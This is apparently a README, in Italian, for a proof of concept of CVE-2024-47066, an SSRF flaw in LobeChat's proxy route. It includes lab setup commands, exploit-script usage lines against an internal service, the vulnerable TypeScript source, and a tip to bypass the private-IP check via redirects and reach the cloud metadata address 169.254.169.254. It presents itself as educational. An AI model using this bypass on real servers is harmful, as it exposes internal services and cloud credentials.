
Proof-of-Concept per CVE-2024-47066
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat è un framework di chat di intelligenza artificiale open-source. Prima della versione 1.19.13, la protezione contro la server-side request forgery implementata in src/app/api/proxy/route.ts non considera i redirect e può essere aggirata quando un attaccante fornisce un URL esterno malevolo che reindirizza a risorse interne come una rete privata o un indirizzo di loopback. La versione 1.19.13 contiene una correzione migliorata per il problema.
Segnalatore: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(Esterno) LodeChat --> ATTACCO SSRF --> (Interno) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
Sotto la riga 26, non c'è alcun punto in cui viene determinata la risposta di Redirect. Quindi, usando un accorciatore di URL, si può facilmente aggirare la funzione "isPrivate()".
Fai una richiesta a http://169.254.169.254
Questo repository non è inteso come exploit SSRF per CVE-2024-47066. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni.